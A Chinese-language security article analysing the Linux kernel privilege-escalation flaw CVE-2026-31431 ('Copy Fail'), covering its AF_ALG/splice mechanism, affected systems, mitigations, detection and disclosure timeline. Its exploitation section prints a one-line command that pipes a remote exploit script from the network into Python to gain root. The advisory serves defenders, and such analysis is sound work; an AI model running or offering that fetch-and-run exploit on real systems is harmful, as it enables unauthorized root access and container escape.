潜伏 9 年的 Linux 核弹级漏洞:Copy Fail(CVE-2026-31431)深度解析
2026 年 4 月 29 日,Xint Code 公开Copy Fail 漏洞(CVE-2026-31431),这是一个潜伏近 10 年、影响全主流 Linux 发行版的本地提权 + 容器逃逸高危漏洞,无需竞态条件、无需内核偏移、单脚本通杀全版本,威胁远超同类漏洞。
一、漏洞核心速览
- CVE 编号:CVE-2026-31431
- 漏洞类型:Linux 内核本地权限提升(LPE)+ 容器逃逸
- 危害等级:高危
- 影响范围:2017 年至今所有主流 Linux 发行版(Ubuntu、Amazon Linux、RHEL、SUSE、Debian、Fedora 等)
- 利用条件:仅需普通本地用户,无需网络、无需调试特性、无依赖
- 利用成功率:100%,单次触发即获 root
- PoC 体积:仅732 字节 Python 脚本,标准库即可运行
二、漏洞原理:一句话讲透
Copy Fail 是 Linux 内核
authencesn函数的直线型逻辑缺陷,通过AF_ALG套接字与splice()系统调用串联,让普通用户向任意可读文件的页缓存写入 4 字节可控数据,篡改su、sudo等 setuid 程序内存镜像,直接提权为 root,且不修改磁盘文件、无痕迹、重启即恢复。关键技术链
- 入口:内核加密 API 套接字
AF_ALG(默认开启) - 通道:
splice()将页缓存页传入加密子系统 - 缺陷:
authencesn未正确边界校验,越界写入 4 字节 - 利用:篡改页缓存中 setuid 程序,执行即获 root
- 特性:仅污染内存页缓存,磁盘文件无变化,取证难发现
三、影响范围与风险场景
1. 受影响系统
- 内核构建于2017 年–漏洞修复前的所有 Linux 发行版
- 已验证:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 14.3、SUSE 16
- 未验证但必受影响:Debian、Arch、Fedora、Rocky、Alma、Oracle、嵌入式 Linux 等
2. 高风险场景(优先级修复)
| 场景 | 风险 | 后果 |
|---|---|---|
| 多租户 Linux 主机 | 高 | 任意用户秒变 root |
| Kubernetes / 容器集群 | 高 | 容器逃逸,跨租户攻陷节点 |
| CI/CD 构建节点 | 高 | 恶意 PR 代码提权控制构建机 |
| 云 SaaS 运行用户代码 | 高 | 租户代码获取宿主机 root 权限 |
| 单租户生产服务器 | 中 | 配合 RCE / 盗号实现内网提权 |
| 个人笔记本 | 低 | 本地代码执行后提权,无远程利用 |
3. 与经典漏洞对比
| 特性 | 普通 Linux LPE | Copy Fail |
|---|---|---|
| 竞态条件 | 必需 | 无 |
| 发行版专属偏移 | 必需 | 无 |
| 单次成功率 | 30%–80% | 100% |
| 影响内核版本 | 窄范围 | 2017–2026(9 年) |
| 容器逃逸 | 极少 | 原生支持 |
| 痕迹留存 | 有 | 无(仅内存污染) |
对比 Dirty Pipe:同属页缓存篡改,但 Copy Fail更通用、无版本限制、无需特定补丁、通杀全发行版。
四、漏洞利用:极简 PoC 验证
官方已公开 732 字节 Python PoC,仅 Python 3.10 + 标准库,默认攻击
/usr/bin/su,一行命令提权:curl https://copy.fail/exp | python3 && su
# id # 输出 uid=0(root)
- 特性:不修改磁盘文件,重启 / 清理页缓存后恢复;可指定任意 setuid 程序(passwd、sudo、pkexec 等)。
五、修复与缓解方案
1. 首选方案:升级内核(永久修复)
- 升级内核至包含主线提交 a664bf3d603d的版本
- 该提交回退 2017 年
algif_aead原地优化,分离源 / 目标散列表,阻断页缓存写入路径 - 主流发行版已推送安全更新,立即执行系统升级。
2. 临时缓解:禁用 algif_aead 模块(未升级前)
# 禁用模块加载
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 卸载已加载模块
rmmod algif_aead 2>/dev/null || true
- 影响极小:不影响 dm-crypt/LUKS、kTLS、IPsec、SSH、OpenSSL 默认配置
- 仅影响显式启用
AF_ALG的用户态程序(极少场景)。
3. 容器 / 不可信负载加固
- 用seccomp屏蔽
AF_ALG套接字创建 - 容器镜像最小化,移除不必要加密组件
- 开启 IMA 强制校验,在 execve 前拦截篡改程序。
六、检测与取证要点
- 内存检测:
sha256sum等工具读取页缓存,哈希与基线不一致即命中 - 磁盘取证:磁盘文件无变化,重启 / 页缓存淘汰后恢复正常
- 进程检测:监听
AF_ALG套接字、异常splice()调用、setuid 程序异常执行。
七、漏洞时间线
- 2026-03-23 上报 Linux 内核安全团队
- 2026-03-25 补丁提交并评审
- 2026-04-01 补丁合入主线
- 2026-04-22 分配 CVE-2026-31431
- 2026-04-29 全球公开披露,PoC 同步发布
© 版权声明
THE END
喜欢就支持一下吧
相关推荐














暂无评论内容